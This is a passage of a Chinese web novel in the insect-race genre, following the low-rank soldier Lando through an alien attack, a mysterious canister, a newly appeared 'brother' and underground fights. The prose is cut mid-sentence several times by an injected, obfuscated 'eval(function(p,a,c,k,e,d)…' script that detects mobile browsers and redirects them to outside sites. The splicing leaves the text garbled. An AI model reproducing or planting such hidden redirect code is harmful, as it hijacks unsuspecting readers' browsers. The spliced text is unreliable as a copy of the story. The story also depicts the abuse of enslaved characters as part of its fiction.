RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344853|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的影响微乎其微，那些东西研发出来就是为了针对高等级的虫族战士，反倒让他捡漏，逃过一劫。 房门外传来几声持续的巨响，有浓烟顺着关不严实的房门透进来，空气中传来一股浓烈的火药味。 二次轰炸开始了。 不能再这样坐以待毙了。 兰多站起身，用脚熄灭烟头，尽量往门口挪去，无论如何，至少得弄清楚外面发生了什么，才能想办法逃生。 就在这时，早就被挤压变形的大门被从外面暴力轰开了。 是一队临时组建起来的军雌。 “外面清剿异兽急需人手，你们几个跟我出来。” 为首的是中将耐德，兰多在表彰大会上见过他，此时他再也没有平日里高级军雌那股子威风劲儿，刚经历过大战，显得狼狈不堪，脸上甚至粘着异兽腥臭的血。 炊事班里的雌虫基本躺倒了一地，仅剩的几个低等级种也齐刷刷地向后退了一步。 大概是鄙视于这一堆雌虫的临阵退缩，耐得的眼里闪过一丝不屑。 “等级最高的先顶上，等级低的等下和我一起去修复通信网。” 没有任何虫回复他。 沉默半晌，一个雌虫干巴巴地说道： “可....可是我们只会做饭啊。” 耐德显然已经失去了耐心，他的目光落在离门最近的兰多身上，随手一指。 “就你，先跟我出来。” 没办法，这个雌虫看起来是这里面最镇静的一个了。 ...... 与他们所在的C区相比，训练区和通信区简直堪比炼狱，放眼望去，没有一处建筑物是完好的，随处可见残肢和血迹，往日训练有素的军队分崩离析，正是溃败前的征兆。 异兽的轰炸还在持续着，每走两步，兰多都要时刻警觉着头顶上落下来的东西。 这次大概率真的凶多吉少了。 他这样想着，却发现自己根本生不出类似恐惧的念头。 虫族社会就像蜂巢，雄虫占比很小，又普遍缺乏战斗力，但与生俱来的精神力能让他们安抚雌虫的精神暴乱，因此承担着类似蜂后的职责，是受供养的存在。反观雌虫，若是等级高的还好说，总能凭借着军功给自己挣点前程，等级低的就只能成为消耗品，碌碌无为地作为工蜂一直被剥削到死。 不过我也太倒霉了吧，死之前也没机会再跟心仪的雄虫说上一句话。 一个粗犷的声音打断了他的思绪。 “别磨磨唧唧，线路连接至少会吧，b区的信息网被屏蔽了，你15分钟以内修好。”耐德从身后猛推了他一把，说完，他也不看兰多的反应，自顾自地跑向了前线。 线路连接？ 疑惑涌上兰多的心头，b区的通信线路并不直接与帝都相连，而是通向另一处军事基地——“方塔”。这个时候，不选择与帝都的军队联系，反而接线方塔，实在是个不寻常的举动。 但他没时间多想，每耽搁一分，危险就多一分，兰多环顾四周，随手拎起嵌在墙壁上的工具箱就往b区奔去。 23. ㈡ 罐中之物 好在B区距离通讯区域不远，他跌跌撞撞地摸索着向前走，终于在走廊尽头发现了一处未受损的接线板。 出乎意料的是，这儿的线路并没有受到太大的破坏，兰多拿起修理工具捣鼓了一番，不一会，一阵来自方塔的讯息陆续传来，只是夹杂着微弱的电流，断断续续的有些模糊。 “047....立马把它带过来，这是一级...指令...完毕。” 它？它是谁？ 兰多心里泛起了嘀咕，就在他一脸懵逼之时，身后传来了一阵急促的脚步声。 一群陌生的军雌，但这不重要，重要的是，他们右肩上星星的数量足以闪瞎他的狗眼。 打头那个不认识，但是兰多认出来在他后面紧跟着的耐德中校。 “报告长官”，耐德看起来比刚才还要严肃，“运输车已准备好，全程配备一级防卫。” “嗯。”领头的那个军雌点了点头，随着他应声，后面的一队人抬上来了一个巨大的金属圆罐。 浅银色的涂装，光滑椭圆的形状，从外观看，那玩意可太像煤气罐了。 兰多不由地多看了两眼。 似乎是才注意到兰多还站在这里，那位长官的眉头皱了起来。 “他是谁？” “报告长官，这是后勤部的工作人员，他等级不高，不易受到精神污染，你看？”耐德小心翼翼地插话。 “那就让他一起来。”军雌长官警告地看了兰多一眼，“不要乱听，也不要乱看。” “我......”兰多还想说些什么，一旁的雌虫就拉开了车门，用眼神示意他上车。 不是大哥？我根本就没想跟着你们去啊。 他忍不住在心里翻了个白眼。 ...... 几分钟后，在几辆军用侦查机的护送下，这辆运输车载着零星几个人，摇摇晃晃地以最高时速往“方塔”赶去。 一望无际的旷野上，只有轮胎和地面摩擦的呼啸声。 “你还好吗？”坐在兰多对面的是一个娃娃脸的雌虫士兵，大概是因为远离了战火中心，他看起来轻松了很多。 “谢谢...我没事。” 兰多只是敷衍地朝他笑了笑。 不太对劲。 他不断地左右张望，观察车窗外的情况。 那种在极恶之地摸爬滚打的自觉告诉他，这里面一定有猫腻。 运输车上的人数不多，但兰多注意到了打头那个军雌的肩章，上校，这几乎是他们基地最高的军职了。 然而现在，这位最高指挥官不仅没有在第一战场，反而带了一小队人秘密运输某样东西。 唯一的解释只能是，装在那个罐子里的东西，是比一整个基地都重要的存在。 “——快停车！” 突如其来的动静打破了他的神游。 身后猛然传来尖利的叫喊。 伴随着指令而来的，是剧烈的摇晃和尖锐的刹车声，一瞬间整个运输车仿佛被倒翻了过来，兰多几乎是飞了出去，腾在半空，又猛地撞在了一侧的内壁上。 全身仿佛散架了一样......五脏六腑好像被一只无形的手被搅在了一起。 “咳......” 他忍不住咳出一口血沫来。 一阵天旋地转后,他终于适应性地睁开了眼，整个世界仿佛变成了粉红色，这时他才意识到，脑袋上划开的伤口把血流进眼睛里了。 兰多勉力爬了起来，却看见旁边的雌虫几乎都已经晕了过去，耐德满脸痛苦地被挤压在车厢与地面之间，但似乎，痛苦的主要来源并不是因为这个。 “士兵，”他也看到了兰多，“是精神冲击波，我们没办法站起来了，你快去，去......” 又是一波新的精神攻击，剧烈的疼痛让耐德甚至没办法把手指伸直，他直直盯着兰多“你去把罐子里的东西毁掉，快去，我会给你晋升，一定要把它销毁。” 兰多心头大振，半晌，他艰难地问道：“那是...那里面是什么？” 耐德显然不打算回答他，只是继续说道：“罐子外面有个金属把手，你把它往下拉，军部，不，是整个联邦都会感谢你的。” 兰多倒退一步。 他简直想转身就走，但是看他们现在的样子，异兽没过多久就能追上来，到时候也毫无活路。与其被异兽撕成碎片，还不如赌一把。 思及此，他只能咬紧牙关，艰难地往车厢后挪去。 防弹玻璃在刚才的撞击下碎了一地，本就狭小的车厢塌了一半，兰多只能半趴下身，用手肘爬行。 不一会功夫，他的两手就被碎片割得鲜血淋漓。 那个巨大的圆罐也在刚刚到事故中受到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344854|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤压，一侧已经被挤进去了一个大坑，兰多一眼就看到了位于另一侧的把手。 “这到底是什么？”他喃喃自语。 如果这真的是急需销毁的东西，一开始又为何要严加看守呢，恐怕一旦销毁了这东西，他也活不了了。 即便是为了满足好奇心，他也想死个明白。 “我不知道...”耐德的声音从前方传来，他听上去要崩溃了，“上头只说这是很危险的东西，如果被异兽控制了我们就完了...” 没时间了，兰多紧握着那个把手，只要拉下去，只要拉下去... “救救我...” 刚才那是什么声音？幻听吗？ “救救我。”这次，他更清晰地听到了这个声音。更让他毛骨悚然的事，隔着金属把手，他似乎感受到了某种活物的心跳声。 这到底是什么？ 兰多大骇，猛地收回了手，此刻他已经听不见耐德的声音，只觉得自己紧张太过出现了幻觉。 然而下一秒，他还是不受控制地抚摸上了那个金属圆罐。 那个东西...或者该说那个生物，确实在隔着金属层向他求救。 “不...我不能。”虽然不愿意承认，但在知道这里面装的是个活物时，他还是犹豫了。 “救我...帮你...” 兰多看不见的是，一张密密麻麻的精神网此时正顺着手掌与金属壁接触的地方慢慢将他包裹住。 似乎是知道求救没用了，里面那个东西不再说话，兰多甚至感觉，它的心跳也慢慢变得微弱，再难捕捉。 不知为何，明明是在这样紧要的时刻，他却无法提起一点警惕，潜意识里似乎有一种熟悉的安全感，驱使他一定要看一看这个罐子里的东西。 就像是受到了蛊惑似的，兰多几乎是恍惚着握紧了把手，下一瞬，他从反方向重重地拉开了这个金属圆罐。 四周出奇的安静，没有预想中的怪物或是爆炸，也没听见什么声音，圆罐里首先流出来的，是一滩泛着银色金属光泽的液体。 这.....这到底是什么啊？ 随着上下罐身逐渐分离，兰多猛地睁大了眼睛。 那里面居然是—— 下一秒，一阵恐怖又刺耳的声浪袭来，兰多猛地一震，他保持着向外拉的动作，就这么直挺挺地倒了下去。 24. ㈡陌生人 “联邦调查局认为，此次袭击是近半个世纪以来规模最大、伤亡最多的事件。” “我们认为这是一次有组织、有预谋的集体袭击......同时，我们对在此次袭击中牺牲的士兵，报以最诚挚的敬意” “据让·托德上校披露，我们正尽全力追踪博士的下落，我们在此征询各位相关人士，提供有价值的信息......” ...... 电视投影的画面闪个不停，兰多活动了一下缠满绷带的手，略微调整了一下卧姿。 他在这家医院已经躺了大半个月。 袭击发生后，他是被搜救队从野地里背回来的，再次醒过来，已经是在病床上了。 通过光影投屏上循环播放的新闻，兰多这才知道在他昏迷的这段时间里发生了什么。 联邦这次几乎经历了近百年来的惨败，在之前的情报中，异兽都是不具有智慧的低等生命体，然而，这次异兽的行动推翻了这一结论。他们仿佛受到了某种系统的控制，井然有序地分成三波依次向虫族最大的三个基地进攻，除了兰多所在的基地，“方塔”、“绿洲”甚至遭受了更惨重的打击。 最可怕的是，它们甚至学会了运用战术，先假装疲势撤退，又趁着夜间忽然全体进攻。 只是有一点很奇怪，在三个基地逐一被攻破后，异兽却在某一瞬间全部停止了进攻，随后全部退回到了母星，这让军部在庆幸之余也百思不得其解。 而兰多所在的运输车小队，除了那个只见过一面的上校和几个护送兵牺牲了，其他人竟都完好无恙，只是他们所有人都表示，在听到一阵白噪音后就失去了意识，随后不知怎地从一片废墟中醒来，异兽就撤退了。 耐德中校由于这次地军功晋升为了上校，他并没有遵守诺言，兰多现在依然还是毫无官职的“工作人员”，但这并不是他最关心的事。 他最为关注的，是光屏上播报的，“博士”的失踪。 作为虫族世界里屈指可数的，拥有工作的雄虫，“博士”的成就甚至凌驾在了绝大多数军雌之上。他成功研制了对付异兽的试剂，与那些只知道吃喝玩乐又高高在上的雄虫不同，他是帝国的瑰宝。 但这些对兰多来说并不重要，他仰慕“博士”的理由和其他雌虫不太一样，仅仅是因为博士帮过他。 或许用“帮”不太合适，博士甚至可以说是救了他，是他把兰多从黑市的地下角斗场里救了出来，也是他为自己介绍了军部后勤员的工作。 最重要的是，博士甚至愿意定期提供自己信息素的提取剂给兰多使用，使他不用为了信息素安抚而被迫成为贵族雄虫的雌奴，遭受折磨虐待。毕竟低等级雌虫唯一的“优点”，就是耐玩，即便是被鞭打的鲜血淋漓，也能很快恢复。 而他竟然在这场袭击中失踪了，至今下落不明...... 头部传来一阵钝痛，兰多忍不住缩了缩脖子。 他感到一阵茫然，可每当他努力回想当时在那个罐子里看到了什么，脑子里就像有一千根丝线缠绕一样。 更糟的是，他似乎还忘记了一些之前发生的事，就像他完全不记得，自己什么时候多出来了一个“弟弟”。 “哥哥！”一个声音打断了他的思绪。 兰多茫然地抬头，一个莫约13、4岁的少年一脸担忧地向他走了过来，“不是跟你说了好好躺着吗，你再这样坐起来看电视，我就让护士姐姐把光屏关了。” “对不起。”下意识地躺了下去，兰多有些心虚地回到。 几天前，他醒来时，第一眼就看到了趴在病床边的少年，由于他忘记了太多事，少年便主动介绍起了自己。 “我是艾希礼，是你的弟弟，你失忆之前，一直都是我们两相依为命。” 少年矢车菊一样的蓝眼紧紧盯着他，浅金色的发丝在阳光下微微闪光。 起初他十分怀疑，他并不记得自己有什么珍贵的雄虫弟弟，而少年那引人注目的外貌更证实了他的等级一定不低，将来分化或许会一跃成为什么高级雄虫也说不准。 但每当兰多一提这件事，就会被艾希礼受伤的表情弄的充满负罪感，久而久之，他也就不敢再提了。 他笃定这个“弟弟”不会骗他，不为别的，一个未成年雄虫去骗一个低级雌虫，即便是最拙劣的垃圾小说也不会这么写。 思及此，兰多悄悄地看了一眼艾希礼的颈后——没有任何虫纹，那儿干净地像一块刚被初雪覆盖的□□。 “哥哥在看什么。”艾希礼偏了偏头，有些疑惑地看了看他。 “没...没什么。”像是被烫到一样，兰多迅速收回目光。 似乎是看出兰多的疑惑太过明显，艾希礼提到，他们俩并没有血缘关系，之所以成为兄弟，是因为兰多在一次任务中救了他。 这也完美地解释了他们在外貌上的差别。 “就...因为这个吗？”兰多还是很费解。 “是啊，哥哥忘记了？你救过我的命，我说过报答你，就一定会做到。”艾希礼说这话时神色认真，他也确实是这样做的，兰多在医院卧床这几天，都是他送饭陪床，即便是亲弟弟恐怕也就能只能做到这个份上了，惹得隔壁床位的军雌羡慕不已，暗暗思酌兰多到底给他灌了什么迷魂汤。 这会子正是艾希礼给他送饭的时候，看着弟弟纤细的手把保温饭盒打开，端出一盘盘卖相和营养俱佳的饭菜，兰多才后知后觉地意识到，艾希礼不仅是未成年，还是雄虫啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344855|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在帝国，即便是等级低下的雄虫也是能够得到很大优待，除去标配的雌侍雌奴不说，每日锦衣玉食，总能活的体面。不会有雄虫自己亲力亲为做饭，更不会有雄虫给雌虫做饭的，毕竟大家普遍认为，雌虫只要定时服用营养剂就行。 在这之前，兰多也都是服用营养剂的，这么多年都这样过去了，最近却在艾希礼短短几天的投喂下开始嫌弃起了营养剂的味道，何谓由奢入俭难。 思及此，一股身为哥哥的责任感在兰多心中缓缓升起。之前他一直以为自己是个单身汉，无牵无挂，唯一有所追求的，就只是能为博士做点力所能及的事就好。 但现在他有了家人，虽然艾希礼懂事的让人心疼，但未成年雄虫终究无法独立生存，无论如何他也要好好养家糊口，尽量让弟弟过上好日子。 “谢谢...你。”兰多不好意思地笑了笑，看到艾希礼仍站在一边，他连忙往旁边让了让，让艾希礼能坐在他的床上。 “哥哥今天好点了吗？”他每天都这么问。 床铺微微下陷，艾希礼抬手轻轻碰了碰他的额头，他的手有些冰凉。 “好多了”，兰多不适应地挪了挪屁股，被一个小他那么多岁的少年照顾，再给他多长时间也很难适应。 “真的吗？”艾希礼露出一个思考的表情，下一瞬，他那张极具冲击性的脸就凑了上来。 他们的额头相抵。兰多甚至能够感受到对面的人浅浅的呼吸声。 太.....太近了吧..... “是好多了”，金发少年施施然地退了回去，“终于不烧了。” “啊哈哈哈哈，我就说吧。”兰多干笑了两声，他有些不自在地撇过头去，有些刻意地紧盯着床单发呆。 “......” 两人就这样慢慢吞吞地消磨时间，直到下午，护士进来跟兰多说，他终于可以出院了。 艾希礼帮他办理了出院手续，又帮他收拾床铺和物品，简直贤惠的像个小媳妇。 能到外面呼吸新鲜空气自然是件好事，兰多用仅存的一只还能动的胳膊伸了个懒腰，但直到走到了医院门口，他也没有发现黏在他们身后的一道视线。 ...... “打听到了吗，真是兰多那家伙？”一个声音问。 “不会错的，只是不知道他什么时候竟然去了军部。” “哼......那个雄虫真是他弟弟？” “没查到任何资料，应该也是孤儿，倒是便宜了这小子。”另一个声音不忿道。 “这么漂亮的宝贝不藏着掖着，非要拿出来炫耀，可就别怪我了。” “明白！我这就派人去盯着。” 一阵猥琐的笑声渐渐消失。 25. ㈡同居生活 第一次，兰多在自己家门口犯了难。 难以置信，他居然就这么把一个“一周前还是陌生人的”雄虫带回了家。 更重要的是，这个家实在是有些拿不出手，户型是普通的两室一厅，但内部的装潢实在不敢恭维：一进门正对着的是一个破旧的单人沙发，外加一个只具有电视功能的初级光脑——这还是他在二手市场上精挑细选来的。 兰多把随身物品顺手放在卧室，对着那窄窄的单人床发起了呆。 今晚要不睡沙发吧。 他在心里下定了主意。 之前自己一个人惯了，也没觉得家里缺了什么，但如今“养了”个未成年雄虫，少不得觉得缺东少西的，一会感觉暖气片不够暖和，一会又觉得沙发垫太硬。 艾希礼倒是比他淡定的多，他似乎觉得有些好笑，“哥哥什么样子我没见过，现在怎么反倒开始不好意思了。” “你先将就着用，等过两天我攒够了钱，把这些家具都翻一番。”兰多挠了挠头，他确实需要考虑找一些别的活计营生了。 “我倒是觉得这些东西都蛮好的，”用手抚摸了一下沙发的质感，艾希礼说道：“他们都说家具用久了会沾上主人的气味，我喜欢家里都是哥哥的味道。” “你是小狗吗？”兰多有些哭笑不得，要不是自己是雌虫，他真的会误以为自己被调戏了。 “我给哥哥做晚饭吧，营养剂虽然可以饱腹，但口感真的太差了。”正说着话，艾希礼熟练地往厨房走去。 兰多赶紧拦住他。 之前住院的时候是迫不得已，如今他都能跑能跳了，自然不可能再让弟弟这么辛苦。 “放着我来就行。” “好啊，”出乎意料的是，艾希礼竟然一口答应了下来，“正好我还没怎么吃过哥哥做的饭呢。” 想到自己那拉胯的厨艺，兰多也只有尴尬地应到：“没事，都交给我吧。” 他一边在冰箱里寻找着食材，一边努力寻找话题：“你跟我说说你小时候的事吧。” 艾希礼的声音从客厅传来，“哥哥想知道什么？” “呃，就比如，你是怎么遇到的我，我是怎么救的你？” 思来想去，兰多还是觉得太不真实了，且不说一个低级雌虫能在非社交场合遇到雄虫的概率，到底是什么样的家长才会把还是未成年虫崽的孩子弄丢啊。 “具体的事我也记不太清，只记得我被关在一个狭小的箱子里，过了好久好久，我都不记得有多久，哥哥忽然出现了，就把我救了出来。” 箱子？仿佛有一丝亮光从脑子里飞速闪过，却快地让人抓不住。 想到这孩子可能是被拐卖或者交易的，兰多就又恨又心疼，他只知道一些低等雌虫会被抓去做雌奴，却不知道这样漂亮的雄虫或许更有可能被盯上。 “以后永远不会发生这样的事了。”兰多想，我一定会好好保护他。 “不管发生什么事，哥哥都会和我一起，对吗？”艾希礼不知何时离开了客厅，他倚在厨房门框上，紧盯着正在厨房忙碌的人。 “嗯。”兰多一直没有转头，自然也没有看见，就在他身后，一道道金属色泽的不明液体正顺着房顶向下淌，说是液体，反而像是活物，此时它们闻到了兰多的味道，正发疯一样地朝这边涌动。 直到艾希礼眼中闪过一道银光，这些液体才消失不见。 ...... 他们随意分食了一盘素炒裂花，又烤了一盘红薯，鉴于家中实在没有别的像样的食材，只能暂且以面包为主食。 兰多的负罪感在吃到自己亲手做的食物时达到了顶峰。 他很难想象，艾希礼之前是如何把这些食材做的那么好吃的。 思及此，他好奇地发问：“之前你做饭的时候，也是用的家里的食材吗？” 艾希礼倒是一副适应良好的样子，兰多在他脸上看不到一丝嫌弃的表情，他咬着筷子，眼睛微微眯起，经过这几天短暂的相处，兰多意识到这是他感到满足时特有的表情。 “是呀，不过为了哥哥的健康，我在里面加了一点特殊的材料。” “是什么？”兰多简直要好奇死了。 “秘密。”艾希礼好像很喜欢看到他欲言又止的样子。 这小子其实蛮恶劣的嘛...... 拿他没办法，兰多只得挠了挠头，“对不起，我之前从来都是只喝营养剂的，这个实在是太难吃了，我还是倒了吧。” “哥哥。”艾希礼的表情忽然严肃，兰多还以为他要说什么，没想到他下一句话却是： “不要浪费。” 兰多被搞得哭笑不得，看他笑了，艾希礼也跟着笑了。 “以后都让我来做饭吧，哥哥每天在外面工作好辛苦，我想照顾你。” “我一个人可以照顾好自己。”兰多感觉自己的脸开始莫名其妙地变烫，他还想为自己辩驳一下，胡乱又吃了一口，那奇怪的味道让他彻底打消了这个念头。 光屏上仍然播放着博士失踪的消息，受到记者采访的群众都十分激愤，毕竟无论雄虫还是雌虫都一致认为，失去这样一个人，对于虫族未来对抗异兽的进程来说无疑是雪上加霜。 “哥哥在看新闻吗？” “嗯。”兰多点了点头，不想在弟弟面前表现出什么端倪。 他忽然很想换台，因为无论再看多少次，这样的消息也让他无法承受。 “哥哥喜欢他吗？”艾希礼忽然在一边发问。 “咳...咳咳咳，你怎么会...会这样想。”兰多差点被饭噎住。 “你看到他的眼神，跟看别的雄虫不一样。”艾希礼伸手拍了拍他的背。 “不是的，不是...”，不想对弟弟撒谎，兰多斟酌着用词，“他...是个很好的人，我只要知道世界上还有他这样的人，就已经很满足了。” “是吗？哥哥真是容易满足，”艾希礼似乎笑了笑，“如果是我的话，想要的东西要是拿不到手，就都没意义了呢。” “你可是雄虫呀，不会有什么东西是得不到的。”看他一脸认真的样子，兰多忍不住打趣到。 艾希礼似乎也觉得自己说了很好笑的话，沉吟片刻，他说：“但愿如此。” “......” “吃好了吧？我去洗碗。”急于打断这有些奇怪的氛围，兰多有些刻意地站起身收拾碗筷。 这不能怪他，在兰多截至目前的人生中，与雄虫相处的时间简直少的可怜，大部分时候，兰多都只能在底下角斗场的看台上看到雄虫们高高在上的身影。 艾希礼与他之前遇到过的或听说过的雄虫完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14344856|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不一样，他像根本没被社会规训浸染过似的，对性别差异一无所知，这让他的很多行为带有一种天然的侵略感。 “哔——哔——哔——” 门口的电铃在此刻响起。 谁啊？ 兰多在心里泛起了嘀咕，他快步走到门口，试图把脸贴在猫眼上向外看。 下一秒，那根本就没关严的破门就从外面被一股大力推开了。 “兰多？你在家吧，我听到门口的动静了。” 一个身影快步走来，兰多被创地后退两步，堪堪稳住身形。 “米卡，有没有人教过你，进别人家之前要先敲门？” “你这一个月去哪了？斗兽场的老板昨天才问我，你那连胜还要不要了？” “我......” 话还没说完，刚进门的雌虫就肉眼可见地愣住了。 兰多顺着他的视线转头，就看到身后站着的艾希礼，此时他那双浅蓝色的眼睛正微微眯起。 米卡那双圆眼肉眼可见地瞪大了。 “喂喂！”米卡迅速转身，一把把兰多扯了过去，“你疯了吗？你什么时候做起贩卖雄虫的生意了？”他转头看了一眼站在那里的艾希礼，刻意压低声音询问道。 “滚远点。”兰多没好气地把他推开，尝试了几次，那手却依然紧紧挂在他肩上。 “哥哥，这是谁？”一直被他们忽视的艾希礼在此时出声。 “这是......我的邻居，”兰多略显尴尬地挠了挠头，他还没想好怎么给这两人介绍彼此。 “哥哥？”米卡脸上露出那种见了鬼的表情，“你哪来这么大个弟弟？还是个那么漂亮的雄虫？” “说来话长。”兰多不欲向他解释太多，事实上，他自己对这儿事也一头雾水。 “你好，我是艾希礼。”金发少年微微向前一步，朝着米卡略微点了点头。 “噢！您好，您好......阁下！”米卡显然有些受宠若惊，他的手不自在地朝裤摆两边擦了擦，“冒昧问一句，您的基因等级是？” “行了。”赶在艾希礼回答前，兰多打断了他。 “艾希礼”，他用一种自己都没意识到的温柔口吻向少年说：“你先回卧室好吗？我和他还有一些事情要处理。” 金发少年的眼神在他们两之间游移了片刻，似乎在评估什么，半晌，他才开口道：“那哥哥要快点回来，我一个人睡觉会有些害怕。” “好，我保证。”兰多朝他点了点头。 直到艾希礼的背影消失在卧室门口，米卡才迅速转身，直到现在，他的语气里依然充满了不可置信。 “你到底怎么想的啊，私藏雄虫可是死罪！” “有什么话就说。”兰多避开了他的提问。 米卡往卧室的方向看了一眼，深吸了一口气。 “好吧，就算你现在跟一个漂亮雄虫正在同居，你有没有想过，以你现在的收入，该怎么负担一个未成年雄虫的生活负担？” “.......” “你自己想想吧。” 知道自己说到了关键处，米卡也不再多言，只是拍了拍兰多的肩膀，摇摇了头就离开了。 斗兽场吗？兰多的思绪渐渐飘远，他甚至有一瞬间焦虑到想抽一根烟，但他的口袋却空空如也。 26. ㈡重操旧业 斗兽场——这几乎算是贫民窟里最受欢迎的消遣了。 不允许携带任何武器或者高科技设备，仅凭□□相互搏斗，即便是在黑市，这样的票也一张难求，几乎被炒到了天价。 与联邦军校那种保护措施完善的“比划切磋”不同，参与黑市决斗的雌虫一般等级都不高，他们更像是某种一次性用品，只要输了就会无声无息地消失在这片污糟的土地上。 今天的天气不太好，乌云遮住了半边天，带来异样的闷热，一会可能会有一场暴雨也说不定。 地下斗兽场位于贫民窟的最中心，可以同时容纳几乎半个城区的人，巨大的圆台边上由高到低布置满了密密麻麻的坐席。即使在外围也十分热闹，熙熙攘攘雌虫们把过道挤得水泄不通。 几个衣着华贵的雄虫正在看台上交头接耳。他们身边站满了雌侍和雌奴，时刻保护着主人的安全。 “奥尼斯，这就是你说的‘好戏’？”一个有些冷淡的声音开口询问。 “别急啊，这还只是前菜，我打赌你绝对不可能在上城区看到这样精彩的比赛。”另一个懒洋洋的声音回答道。 他轻轻往下一撇，跪在一旁的雌奴就飞快爬了过来，用自己的脊背垫在他脚底下。 “哼.......你什么时候转了胃口，开始在贫民窟里捡垃圾了？” “话别说的太早，阿尔文，偶尔换换口味也蛮不错的。”被称作奥尼斯的雄虫眨了眨眼，随意唤到：“13号。” 没一会，一个颈上穿戴着铁链的雌虫就膝行到他面前，轻吻他放在另一个雌奴身上的脚。 “你又买了新的雌奴？”阿尔文兴致寥寥地端起红酒杯，地上跪着的雌奴在他的注视下打了一个哆嗦。 “昨天新买的，等我玩腻了，你喜欢的话就送你吧。” “谢了，”阿尔文用脚恶劣地踢了踢那个雌奴，“回头我把那瓶酒送给你。” “......” 他们的对话戛然而止，因为看台上在此时爆发出了一阵惊呼和骚动。 “接下来出场的，是我们许久不见的‘游隼’！” 只见台下一个劲瘦的身影从护栏处跳了上来，他带着一个黑色面具，一头利落的短发被汗水微微染湿。 主持的介绍还在继续：“虽然‘游隼’只有F级，但他以速度和敏捷著称，曾经连续击败了三位.....” 话音未落，看台上的黑发青年就以手借力，腾空一翻，一脚把对手踹了下去。 一阵静默后，看台上爆发出一阵疯狂的欢呼。 “这还有点意思。”奥尼斯微微前倾，紧紧盯住了台上的雌虫。 “游隼”的胸口剧烈起伏，他有些踉跄地朝休息区走去，这是种体力不支的体现，台下其他雌虫纷纷跃跃欲试，这或许是打败他的最好的时机。 “呼....呼.....”兰多极力调整着自己的呼吸，他忍不住抬手抹了一把额头上的汗。 嘴里已经出现了一股血腥味，这应该是刚刚被对手击中脸部后的后遗症。 还有两场，他在心中默默计算着，只要再赢下两场，就能拿到今天的最高奖金。 “你休息一下吧。”米卡拿着毛巾和水走过来，他刚想抬手示意裁判，却被兰多阻止了。 “我还好。”兰多只是短暂地回复他，看到米卡还是一副欲言又止的样子，便朝他轻轻摆了摆手。 “你那么拼命干嘛？”话说出口，米卡自己也意识到了什么，“喂我说，就算你想赚钱，也不用这么急吧。” 裁判示意中场休息结束，眼见着兰多再次回到了场上，米卡也只能喃喃自语道：“美色误人啊。” “下一场比赛，由‘游隼’对战‘刀锋’，本次赔率五比一，下注已正式结束......”广播的雌虫声音兴奋，再次把斗兽场的气氛推上高潮。 随着发号枪一声响起，台上的两个身影迅速纠缠到了一起，兰多迅速后退，避开那招招致命的拳风，‘刀锋’眼见几次都没能近得了他的身，怒吼一声，攻势越来越猛，这也让他露出了破绽。 几分钟后，“刀锋”终于耗尽了体力，被兰多扫下台去。 裁判宣布结果的那一瞬间，欢呼的声浪几乎要把整个斗兽场掀翻。 “你说，他面具之下的脸会是什么样子？”奥尼斯饶有兴致地喝了一口杯中的红酒。 “你把它买下来不就知道了。”一旁的阿尔文倒是兴致寥寥的样子，他向来只喜欢那些纤细的亚雌少年。 “今日的比赛已经结束，下一场比赛将在下周同一时间举行，还请各位多多支持。”广播里的声音被淹没在一片嘘声和叫骂声，围观群众们显然都还意犹未尽。 兰多朝着看台鞠了一躬，随即头也不回地走向了休息帐篷。 ...... “谢谢老板。” 黑市，某个房间里，兰多拿过一沓厚厚的纸币，额头上的血被汗稀释，一起顺着脖颈留下来，在白色T恤上染出一片粉色。 “你不用再数一下吗？”对面的人叼着烟，吐息之间发出几个模糊不清的词语。 斗兽场的老板凯·冯是个癞头，他长着一副典型的军雌的面容，硬朗的脸上有一道横跨右脸的疤痕。 “我相信你，”兰多朝他露出一个短暂的笑容，“下周的场子确定好了吗，我提前报名。” “先不急，”老板拿出打火机，“来一根？” “不了。”兰多不着痕迹的后退一步，并不是他不想抽，只是上一次在艾希礼面前抽烟时，少年秀气的眉毛微微皱起，自此之后他就再没碰过着这玩意儿。 “听米卡说，你最近很缺钱？” “有点吧，毕竟还得吃饭。”兰多转过身去，他略微整理了一下自己外表，把鼻血清理干净，又确认了一番，至少乍一看不会吓一跳的程度。 他向门口走去。 “兰多”，凯·冯的声音忽然从后面传来，“你最近是不是招惹了谁？” 什么意思？ 兰多下意识转过头去，军雌的面容隐藏在烟雾中，并不能看得真切。 “你指什么？” 